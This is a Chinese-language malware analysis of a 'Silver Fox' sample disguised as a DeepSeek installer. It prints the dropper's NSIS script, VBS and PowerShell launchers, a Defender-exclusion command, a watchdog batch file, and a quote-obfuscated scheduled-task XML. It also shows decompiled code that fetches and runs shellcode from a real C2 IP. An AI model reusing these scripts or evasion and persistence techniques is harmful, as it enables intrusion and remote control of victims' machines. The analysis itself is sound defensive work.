1.背景

  近期，AI大模型领域热度飙升，DeepSeek等开源大模型成为开发者与普通用户的热门选择。攻击者敏锐捕捉到这一趋势，将恶意软件伪装成"DeepSeek大模型自动安装助手"，利用用户对技术工具的迫切需求实施精准社工攻击。

  "银狐"家族作为长期活跃的APT组织，擅长通过热点事件伪造合法软件，此次攻击是其新型社会工程学策略的典型体现，该样本来源银狐突袭！DeepSeek本地化部署暗藏“致命陷阱”。

2.恶意文件分析

  拖入die中，发现是由nsis打包而成的

使用7zip-nsis解包

  其中NSIS.nsi文件为安装配置，关键部分如下。在$APPDATA\Axialis目录释放文件之后，执行Decision.vbs，然后再将真正的ds大模型安装助手的快捷方式放置于桌面

Section MainSection ; Section_0
  ; AddSize 136708
  Sleep 500
  SetOutPath $APPDATA\Axialis
  Sleep 500
  File Config.ini
  Sleep 500
  File Config2.ini
  Sleep 500
  File silently.ps1
  Sleep 500
  File Update.dll
  Sleep 500
  File Decision.vbs
  Sleep 500
  Exec "wscript //B $\"$APPDATA\Axialis\Decision.vbs$\""
  SetOutPath $INSTDIR
  Sleep 500
  Sleep 500
  SetOverwrite ifnewer
  File ds大模型安装助手_1.0.0.6_1740119628.exe
  Sleep 500
  CreateShortCut $DESKTOP\ds大模型安装助手_1.0.0.6_1740119628.lnk $INSTDIR\ds大模型安装助手_1.0.0.6_1740119628.exe
SectionEnd

2.1程序执行流程

2.2程序分析

2.2.1 关联启动恶意进程

  解包后$APPDATA\Axialis目录下为后门程序

  首先是Decision.vbs,用于启动同路径下的silently.ps1文件

Set objShell = CreateObject("WScript.Shell")
RoamingPath = objShell.ExpandEnvironmentStrings("%APPDATA%")
FilePath = RoamingPath & "\Axialis\silently.ps1"
objShell.Run "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File """ & FilePath & """", 0, False

silently.ps1文件内容如下，用于启动同路径下的Update.dll的导出函数TCGamerUpdateMain

$RoamingDir = [System.Environment]::GetFolderPath('ApplicationData')
$DllPath = Join-Path $RoamingDir "Axialis\Update.dll"
$DllPathEscaped = $DllPath -replace '\\', '\\\\'
$code = @"
using System;
using System.Runtime.InteropServices;
public class DllInvoker
{
    [DllImport("$DllPathEscaped", CallingConvention = CallingConvention.Cdecl)]
    public static extern void TCGamerUpdateMain();
}
"@
Add-Type -TypeDefinition $code
[DllInvoker]::TCGamerUpdateMain()

  首先创建互斥体保证只有一个实例运行，然后获取C:\Users\username\AppData\Roaming\Axialis 这个路径下的Config2.ini文件。

  然后在内存中加载shellcode

  shellcode创建线程执行操作

int sub_10014540()
{
  int v0; // eax
  int v1; // eax

  v0 = ((int (__stdcall *)(int))kernel32_GetCurrentThread)(5000);
  ((void (__stdcall *)(int))kernel32_WaitForSingleObject)(v0);
  ((void (__stdcall *)(_DWORD, _DWORD, int (__usercall *)@<eax>(int@<ebp>), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(
    0,
    0,
    sub_10013F20,
    0,
    0,
    0);
  ((void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(
    0,
    0,
    &sub_1000A9F0,
    0,
    0,
    0);
  ((void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(
    0,
    0,
    &sub_100137E0,
    0,
    0,
    0);
  ((void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(
    0,
    0,
    &sub_10014390,
    0,
    0,
    0);
  ((void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(
    0,
    0,
    &sub_100142F0,
    0,
    0,
    0);
  v1 = ((int (__stdcall *)(int))kernel32_GetCurrentThread)(5000);
  ((void (__stdcall *)(int))kernel32_WaitForSingleObject)(v1);
  ((void (*)(void))byte_10013450)();
  ((void (__stdcall *)(_DWORD))unk_1001DC47)(0);
  return 0;
}

2.2.2 线程1：将c盘添加到杀软白名单

  通过执行指令powershell -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:\\'\"将c盘添加到windows defender白名单中

int __usercall sub_10013F20@<eax>(int a1@<ebp>)
{
 v37 = a1;
  v38 = retaddr;
  v36 = -1;
  v35 = &unk_10032941;
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  *(_DWORD *)&v33[1] = &v39;
  v28 = sub_10007310((char *)&v29 + 1);
  qmemcpy(v30, "powershell -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:\\'\"", sizeof(v30));
  ---------------------------------省略部分内容----------------------------------------
  qmemcpy(v32, "/C ", sizeof(v32));
 ---------------------------------省略部分内容----------------------------------------
  ((void (__cdecl *)(_DWORD *, _DWORD, int))unk_10017060)(v13, 0, 56);
  v13[0] = 64;
  v13[1] = 0;
  v13[2] = "open";
  v13[3] = "cmd.exe";
  v13[4] = string(v11);
  v13[5] = 0;
  v13[6] = 0;
  if ( ((int (__stdcall *)(int *))shell32_ShellExecuteEx)(&v12) && v14 )
  {
    ((void (__stdcall *)(int, int))kernel32_WaitForSingleObject)(v14, -1);
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v14);
  }
  return maybe_alloc(v11);
}

2.2.3 线程2：创建守护进程

  执行流程如下

  写入monitor.bat并执行

int __cdecl sub_10002D00(void *a1)
{
  ((void (__stdcall *)(int, _BYTE *))kernel32_GetTempPathA)(260, v6);
  str_addr = get_str_addr(v11, (int)v6);
  v22 = str_addr;
  v24 = 0;
  str_concat((int)v13, str_addr, (int)"target.pid");
  LOBYTE(v24) = 2;
  maybe_alloc(v11);
  v21 = get_str_addr(v10, (int)v6);
  v20 = v21;
  LOBYTE(v24) = 3;
  str_concat((int)v14, v21, (int)"monitor.bat");
  LOBYTE(v24) = 5;
  maybe_alloc(v10);
  create_file(v12, v14, 2, 64, 1);
  LOBYTE(v24) = 6;
  if ( (unsigned __int8)((int (__thiscall *)(char *))judge_exist)(v12) )
  {
    ((void (__cdecl *)(char *, const char *))write)(v12, "@echo off\n");
    ((void (*)(char *, const char *, ...))write)(v12, "set \"PIDFile=%TEMP%\\target.pid\"\n");
    v1 = ((int (__cdecl *)(char *, const char *))write)(v12, "set \"VBSPath=");
    v2 = write_2(v1, a1);
    ((void (__cdecl *)(int, void *))write)(v2, &unk_1003ACB8);
    ((void (*)(char *, const char *, ...))write)(v12, "set /p pid=<\"%PIDFile%\"\n");
    ((void (*)(char *, const char *, ...))write)(v12, "del \"%PIDFile%\"\n");
    ((void (__cdecl *)(char *, const char *))write)(v12, ":check\n");
    ((void (*)(char *, const char *, ...))write)(v12, "tasklist /fi \"PID eq %pid%\" | findstr /i \"%pid%\" > nul\n");
    ((void (__cdecl *)(char *, const char *))write)(v12, "if errorlevel 1 (\n");
    ((void (*)(char *, const char *, ...))write)(v12, "    cscript //nologo \"%VBSPath%\"\n");
    ((void (__cdecl *)(char *, const char *))write)(v12, "    exit\n");
    ((void (__cdecl *)(char *, void *))write)(v12, &unk_1003AD80);
    ((void (__cdecl *)(char *, const char *))write)(v12, "timeout /t 15\n");
    ((void (__cdecl *)(char *, const char *))write)(v12, "goto check\n");
    ((void (__thiscall *)(char *))file_close)(v12);
  }
  v3 = (const char *)string(v14);
  ((void (*)(_BYTE *, const char *, ...))exec)(v5, "cmd.exe /B /c \"%s\"", v3);
  v19 = ((int (*)(void))kernel32_GetCurrentProcessId)();
  create_file(v7, v13, 2, 64, 1);
  LOBYTE(v24) = 7;
  if ( (unsigned __int8)((int (__thiscall *)(char *))judge_exist)(v7) )
  {
    ((void (__thiscall *)(char *, int))unk_100041E0)(v7, v19);
    ((void (__thiscall *)(char *))file_close)(v7);
  }
  ((void (__cdecl *)(_DWORD *, _DWORD, int))unk_10017060)(v8, 0, 68);
  v8[0] = 68;
  v8[11] = 1;
  v9 = 5;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  if ( ((int (__stdcall *)(_DWORD, _BYTE *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD *, int *))kernel32_CreateProcessA)(
         0,
         v5,
         0,
         0,
         0,
         0,
         0,
         0,
         v8,
         &v15) )
  {
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v15);
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v16);
  }
  LOBYTE(v24) = 6;
  ((void (__thiscall *)(char *))unk_10003090)(v7);
  LOBYTE(v24) = 5;
  ((void (__thiscall *)(char *))unk_10003090)(v12);
  LOBYTE(v24) = 2;
  maybe_alloc(v14);
  v24 = -1;
  return maybe_alloc(v13);
}

monitor.bat内容如下，作用为充当守护进程，在特定进程被关闭时就重新启动该进程

@echo off
set "PIDFile=%TEMP%\target.pid"
set "VBSPath=C:\Users\123\AppData\Roaming\Axialis\Decision.vbs"
set /p pid=<"%PIDFile%"
del "%PIDFile%"
:check
tasklist /fi "PID eq %pid%" | findstr /i "%pid%" > nul
if errorlevel 1 (
    cscript //nologo "%VBSPath%"
    exit
)
timeout /t 15
goto check

2.2.4 线程3：持久化

  创建xml和ps1文件并调用ps1文件添加计划任务

// bad sp value at call has been detected, the output may be wrong!
int __usercall sub_1000A9F0@<eax>(int a1@<ecx>, int a2@<ebp>, _DWORD *a3@<edi>, int a4@<esi>)
{
  ((void (__stdcall *)(int, int *, int, struct _EXCEPTION_REGISTRATION_RECORD *, void *, int))unk_10016430)(
    a1,
    &v50,
    a1,
    NtCurrentTeb()->NtTib.ExceptionList,
    &unk_1003270B,
    -1);
  v48 = (int)&v50;
  v47 = a4;
  v46 = a3;
  get_str_addr(&v49[-1002], (int)".NET Framework NGEN v4.0.30325");
  v48 = 0;
  v49[-885] = get_Roaming_FolderPath(&v49[-1100], 26);
  v49[-886] = v49[-885];
  LOBYTE(v48) = 1;
  str_concat((int)&v49[-996], (void *)v49[-886], (int)"\\Axialis\\Decision.vbs");
  LOBYTE(v48) = 3;
  maybe_alloc(&v49[-1100]);
  v4 = string(&v49[-996]);
  ((void (__cdecl *)(_DWORD *, _DWORD *))unk_1000A7F0)(&v49[-990], v4);
  LOBYTE(v48) = 4;
  v49[-805] = sub_10007310((char *)&v49[-113] + 3);
  qmemcpy(
    &v49[-112],
 "base64编码后的数据",
    220);
  v5 = (_DWORD *)((int (__thiscall *)(_DWORD *, _DWORD *, _DWORD *))unk_10001730)(&v49[-1016], &v49[-112], &v49[-57]);
  v6 = v5[1];
  v49[-864] = *v5;
  v49[-863] = v6;
  ((void (__thiscall *)(_DWORD *, _DWORD, _DWORD, _DWORD))unk_10011190)(&v49[-892], v49[-864], v49[-863], v49[-805]);
  LOBYTE(v48) = 5;
  v49[-806] = sub_10007310((char *)&v49[-113] + 2);
  qmemcpy(
    &v49[-804],
    “base64编码的数据”,
    2744);
  ---------------------------------省略部分内容----------------------------------------
  qmemcpy(&v49[-24], "\\PolicyManagement.xml", 21);
  v13 = (_DWORD *)((int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)(
                    &v49[-1018],
                    &v49[-24],
                    (char *)&v49[-19] + 1);
---------------------------------省略部分内容----------------------------------------
  qmemcpy(&v49[-56], "powershell -Command \"Set-ExecutionPolicy Unrestricted -Scope CurrentUser\"", 73);
  v25 = (_DWORD *)((int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)(
                    &v49[-1078],
                    &v49[-56],
                    (char *)&v49[-38] + 1);
  ---------------------------------省略部分内容----------------------------------------
  qmemcpy(&v49[-18], "cmd.exe /C ", 11);
  v27 = (_DWORD *)((int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)(
                    &v49[-1010],
                    &v49[-18],
                    (char *)&v49[-16] + 3);
 ---------------------------------省略部分内容----------------------------------------
  qmemcpy(&v49[-35], "powershell -ExecutionPolicy Bypass -File ", 41);
  v30 = (_DWORD *)((int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)(
                    &v49[-1012],
                    &v49[-35],
                    (char *)&v49[-25] + 1);
  v31 = v30[1];
  v49[-880] = *v30;
  v49[-879] = v31;
  ((void (__thiscall *)(_DWORD *, _DWORD, _DWORD, _DWORD))unk_10011190)(&v49[-928], v49[-880], v49[-879], v49[-853]);
  LOBYTE(v48) = 67;
  ((void (__cdecl *)(_DWORD *, _DWORD *))unk_1000A6B0)(&v49[-966], &v49[-928]);
  LOBYTE(v48) = 69;
  ((void (__thiscall *)(_DWORD *))unk_10011170)(&v49[-928]);
  v49[-859] = string(&v49[-898]);
  v49[-854] = sub_10007310((char *)&v49[-115] + 2);
  qmemcpy(v43, "/C ", sizeof(v43));
 ---------------------------------省略部分内容----------------------------------------
  ((void (__cdecl *)(_DWORD *, _DWORD, int))unk_10017060)(&v49[-947], 0, 56);
  v49[-947] = 64;
  v49[-946] = 0;
  v49[-945] = "open";
  v49[-944] = "cmd.exe";
  v49[-943] = string(&v49[-966]);
  v49[-942] = 0;
  v49[-941] = 0;
  if ( ((int (__stdcall *)(_DWORD *))shell32_ShellExecuteEx)(&v49[-948]) && v49[-934] )
  {
    ((void (__stdcall *)(_DWORD, int))kernel32_WaitForSingleObject)(v49[-934], -1);
    ((void (__stdcall *)(_DWORD))kernel32_CloseHandle)(v49[-934]);
  }
  return v49[-862];
}

  xml文件内容如下，用于执行Decision.vbs，其中利用了引号来规避杀软的字符串匹配""D""e""c""i""s""i""o""n.vbs

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2006-11-10T14:29:55.5851926</Date>
    <Author>Microsoft Corporation</Author>
    <Description>更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败，此作业将提供凭据提示。</Description>
    <URI>\.NET Framework NGEN v4.0.30325</URI>
    <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5ddbaf11">
      <Enabled>true</Enabled>
      <Delay>PT30S</Delay>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="AllUsers">
      <GroupId>S-1-1-0</GroupId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
    <RestartOnFailure>
      <Interval>PT1M</Interval>
      <Count>16</Count>
    </RestartOnFailure>
  </Settings>
  <Actions Context="AllUsers">
    <Exec>
      <Command>w""s""c""r""i""p""t.exe</Command>
      <Arguments>C:\Users\123\AppData\Roaming\Axialis\""D""e""c""i""s""i""o""n.vbs</Arguments>
    </Exec>
  </Actions>
</Task>

  然后释放文件updated.ps1内容如下，用于添加计划任务

$xmlPath = "C:\Users\123\AppData\Local\PolicyManagement.xml"
$taskName = ".NET Framework NGEN v4.0.30325"
$xmlContent = Get-Content -Path $xmlPath | Out-String
Register-ScheduledTask -Xml $xmlContent -TaskName $taskName

  然后调用shell32_ShellExecuteEx执行

/C powershell -ExecutionPolicy Bypass -File C:\\Users\\123\\AppData\\Local\\updated.ps1

2.2.5 线程4：检测Telegram.exe

  遍历寻找进程Telegram.exe

char __cdecl sub_10013690(int a1)
{
  _DWORD v2[9]; // [esp+0h] [ebp-130h] BYREF
  _BYTE v3[260]; // [esp+24h] [ebp-10Ch] BYREF
  int v4; // [esp+128h] [ebp-8h]
  char v5; // [esp+12Fh] [ebp-1h]

  v5 = 0;
  v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0);
  if ( v4 == -1 )
    return 0;
  v2[0] = 296;
  if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32First)(v4, v2) )
  {
    while ( !(unsigned __int8)((int (__cdecl *)(int, _BYTE *))unk_100145F0)(a1, v3) )
    {
      if ( !((int (__stdcall *)(int, _DWORD *))kernel32_Process32Next)(v4, v2) )
        goto LABEL_7;
    }
    v5 = 1;
  }
LABEL_7:
  ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
  return v5;
}

如果寻找到这个进程就调用shell32_ShellExecuteEx打开rundll32.exe执行C:\\Users\\123\\AppData\\Roaming\\\\Axialis\\\\Update.dll,TCGamerUpdateMain。即调用这个导出函数执行config2.ini的内容

2.2.6 config2.ini

  内存加载config2.ini，然后将其dump下来，发现他pdb没有删除

  发现这是未混淆过的版本，功能与上文一致

2.2.7 执行远控

  然后执行远控模块

int sub_10013450()
{
  _BYTE v1[400]; // [esp+0h] [ebp-1D4h] BYREF
  _DWORD v2[8]; // [esp+190h] [ebp-44h] BYREF
  void (*v3)(void); // [esp+1B0h] [ebp-24h]
  _DWORD *v4; // [esp+1B4h] [ebp-20h] BYREF
  int v5; // [esp+1B8h] [ebp-1Ch]
  int v6; // [esp+1BCh] [ebp-18h]
  int v7; // [esp+1C0h] [ebp-14h]
  int v8; // [esp+1C4h] [ebp-10h]
  int v9; // [esp+1C8h] [ebp-Ch]
  int v10; // [esp+1CCh] [ebp-8h]
  _DWORD *i; // [esp+1D0h] [ebp-4h]

  v4 = 0;
  i = 0;
  v10 = -1;
  ((void (__stdcall *)(int, _BYTE *))ws2_32_WSAStartup)(514, v1);
  v2[0] = 0;
  memset(&v2[4], 0, 16);
  v2[1] = 2;
  v2[2] = 1;
  v2[3] = 6;
  while ( 1 )
  {
    v5 = ((int (__stdcall *)(char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)(
           a2712440155,
           "18852",
           v2,
           &v4);
    if ( !v5 )
    {
      for ( i = v4; i; i = (_DWORD *)i[7] )
      {
        v10 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]);
        if ( v10 != -1 )
        {
          v5 = ((int (__stdcall *)(int, _DWORD, _DWORD))ws2_32_connect)(v10, i[6], i[4]);
          if ( v5 != -1 )
            break;
          ((void (__stdcall *)(int))ws2_32_closesocket)(v10);
          v10 = -1;
        }
      }
      ((void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v4);
      if ( v10 != -1 )
        break;
    }
    ((void (__stdcall *)(int))kernel32_Sleep)(3000);
  }
  v6 = 0;
  v8 = 4096;
  v7 = ((int (__cdecl *)(int))unk_1001DEDA)(4096);
  v9 = 0;
  while ( 1 )
  {
    v6 = ((int (__stdcall *)(int, int, int, _DWORD))ws2_32_recv)(v10, v9 + v7, v8 - v9, 0);
    if ( v6 <= 0 )
      break;
    v9 += v6;
    if ( v9 == v8 )
    {
      v8 *= 2;
      v7 = ((int (__cdecl *)(int, int))unk_1001DECF)(v7, v8);
    }
    if ( v6 <= 0 )
      goto LABEL_19;
  }
  if ( v6 )
  {
    ((void (__stdcall *)(int))ws2_32_closesocket)(v10);
    ((void (*)(void))ws2_32_WSACleanup)();
    ((void (__cdecl *)(int))unk_1001CD69)(v7);
    return 1;
  }
LABEL_19:
  v3 = (void (*)(void))kernel32_VirtualAlloc(0, v9, 12288, 64);
  ((void (__cdecl *)(void (*)(void), int, int))unk_10016AD0)(v3, v7, v9);
  v3();
  ((void (__cdecl *)(int))unk_1001CD69)(v7);
  ((void (__stdcall *)(int))ws2_32_closesocket)(v10);
  ((void (*)(void))ws2_32_WSACleanup)();
  return 0;
}

  远程加载shllcode，从27.124.40.155:18852，其中接收了1c9db字节

int sub_10013450()
{
  _BYTE v1[400]; // [esp+0h] [ebp-1D4h] BYREF
  _DWORD v2[8]; // [esp+190h] [ebp-44h] BYREF
  void (*v3)(void); // [esp+1B0h] [ebp-24h]
  _DWORD *v4; // [esp+1B4h] [ebp-20h] BYREF
  int v5; // [esp+1B8h] [ebp-1Ch]
  int v6; // [esp+1BCh] [ebp-18h]
  int v7; // [esp+1C0h] [ebp-14h]
  int v8; // [esp+1C4h] [ebp-10h]
  int v9; // [esp+1C8h] [ebp-Ch]
  int v10; // [esp+1CCh] [ebp-8h]
  _DWORD *i; // [esp+1D0h] [ebp-4h]

  v4 = 0;
  i = 0;
  v10 = -1;
  ((void (__stdcall *)(int, _BYTE *))ws2_32_WSAStartup)(514, v1);
  v2[0] = 0;
  memset(&v2[4], 0, 16);
  v2[1] = 2;
  v2[2] = 1;
  v2[3] = 6;
  while ( 1 )
  {
    v5 = ((int (__stdcall *)(char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)(
           a2712440155,
           "18852",
           v2,
           &v4);
    if ( !v5 )
    {
      for ( i = v4; i; i = (_DWORD *)i[7] )
      {
        v10 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]);
        if ( v10 != -1 )
        {
          v5 = ((int (__stdcall *)(int, _DWORD, _DWORD))ws2_32_connect)(v10, i[6], i[4]);
          if ( v5 != -1 )
            break;
          ((void (__stdcall *)(int))ws2_32_closesocket)(v10);
          v10 = -1;
        }
      }
      ((void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v4);
      if ( v10 != -1 )
        break;
    }
    ((void (__stdcall *)(int))kernel32_Sleep)(3000);
  }
  v6 = 0;
  v8 = 4096;
  v7 = ((int (__cdecl *)(int))unk_1001DEDA)(4096);
  v9 = 0;
  while ( 1 )
  {
    v6 = ((int (__stdcall *)(int, int, int, _DWORD))ws2_32_recv)(v10, v9 + v7, v8 - v9, 0);
    if ( v6 <= 0 )
      break;
    v9 += v6;
    if ( v9 == v8 )
    {
      v8 *= 2;
      v7 = ((int (__cdecl *)(int, int))unk_1001DECF)(v7, v8);
    }
    if ( v6 <= 0 )
      goto LABEL_19;
  }
  if ( v6 )
  {
    ((void (__stdcall *)(int))ws2_32_closesocket)(v10);
    ((void (*)(void))ws2_32_WSACleanup)();
    ((void (__cdecl *)(int))unk_1001CD69)(v7);
    return 1;
  }
LABEL_19:
  v3 = (void (*)(void))kernel32_VirtualAlloc(0, v9, 12288, 64);
  ((void (__cdecl *)(void (*)(void), int, int))unk_10016AD0)(v3, v7, v9);
  v3();
  ((void (__cdecl *)(int))unk_1001CD69)(v7);
  ((void (__stdcall *)(int))ws2_32_closesocket)(v10);
  ((void (*)(void))ws2_32_WSACleanup)();
  return 0;
}

  dump下来后发现是一个dll，其中包含c2的配置信息

  配置信息如下

  连接c2服务器,接收指令并执行

char __thiscall sub_75272D80(void *ArgList, LPCWSTR lpString, u_short hostshort)
{
  ResetEvent(*((HANDLE *)ArgList + 1));
  InterlockedExchange((volatile LONG *)ArgList + 6, 0);
  *((_DWORD *)ArgList + 5) = timeGetTime();
  *((_DWORD *)ArgList + 8) = 0;
  *((_DWORD *)ArgList + 9) = 0;
  *((_WORD *)ArgList + 20) = 0;
  v4 = *((_DWORD *)ArgList + 6);
  *((_DWORD *)ArgList + 8) = *((_DWORD *)ArgList + 5);
  *((_DWORD *)ArgList + 9) = v4;
  *((_WORD *)ArgList + 20) = 202;
  v5 = socket(2, 1, 6);
  *((_DWORD *)ArgList + 25) = v5;
  if ( v5 == -1 )
    return 0;
  v7 = lstrlenW(lpString);
  cbMultiByte = WideCharToMultiByte(0, 0, lpString, v7, 0, 0, 0, 0);
  v8 = (CHAR *)operator new[](cbMultiByte + 1);
  v9 = lstrlenW(lpString);
  WideCharToMultiByte(0, 0, lpString, v9, v8, cbMultiByte, 0, 0);
  v8[cbMultiByte] = 0;
  v10 = gethostbyname(v8);
  operator delete(v8);
  if ( !v10 )
    return 0;
  name.sa_family = 2;
  *(_WORD *)name.sa_data = htons(hostshort);
  v16 = *((_DWORD *)ArgList + 25);
  *(_DWORD *)&name.sa_data[2] = **(_DWORD **)v10->h_addr_list;
  if ( connect(v16, &name, 16) == -1 )
    return 0;
  v12 = *((_DWORD *)ArgList + 25);
  *(_DWORD *)optval = 0x40000;
  setsockopt(v12, 0xFFFF, 4097, optval, 4);
  v13 = *((_DWORD *)ArgList + 25);
  *(_DWORD *)optval = 0x40000;
  setsockopt(v13, 0xFFFF, 4098, optval, 4);
  v14 = *((_DWORD *)ArgList + 25);
  *(_DWORD *)v20 = 30000;
  setsockopt(v14, 0xFFFF, 4102, v20, 4);
  v15 = *((_DWORD *)ArgList + 25);
  *(_DWORD *)v19 = 1;
  if ( !setsockopt(v15, 0xFFFF, 8, v19, 4) )
  {
    v11 = *((_DWORD *)ArgList + 25);
    vInBuffer[0] = 1;
    vInBuffer[1] = 180000;
    vInBuffer[2] = 5000;
    WSAIoctl(v11, 0x98000004, vInBuffer, 0xCu, 0, 0, &cbBytesReturned, 0, 0);
  }
  InterlockedExchange((volatile LONG *)ArgList + 6, 1);
  ThrdAddr = 0;
  *((_DWORD *)ArgList + 23) = _beginthreadex(0, 0, sub_75272FB0, ArgList, 0, &ThrdAddr);
  *((_DWORD *)ArgList + 24) = _beginthreadex(0, 0, sub_752730C0, ArgList, 0, &v18);
  return 1;}

3.总结

  本次分析的恶意样本系APT组织"银狐"利用DeepSeek大模型热度精心策划的社工攻击典型案例。攻击者通过伪造"大模型自动安装助手"软件，借助NSIS打包、PowerShell脚本注入、内存加载等技术，构建了一条隐蔽的攻击链路。其核心策略包括：

  1.热点捆绑：以AI技术工具为伪装，精准诱骗技术用户下载；

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该案例体现了APT攻击者对技术趋势的敏锐捕捉能力，以及对社会工程学与底层系统漏洞的深度融合。

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1. 风险消减措施

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2. 安全设备调优

目标

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主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

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目标：

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形式：

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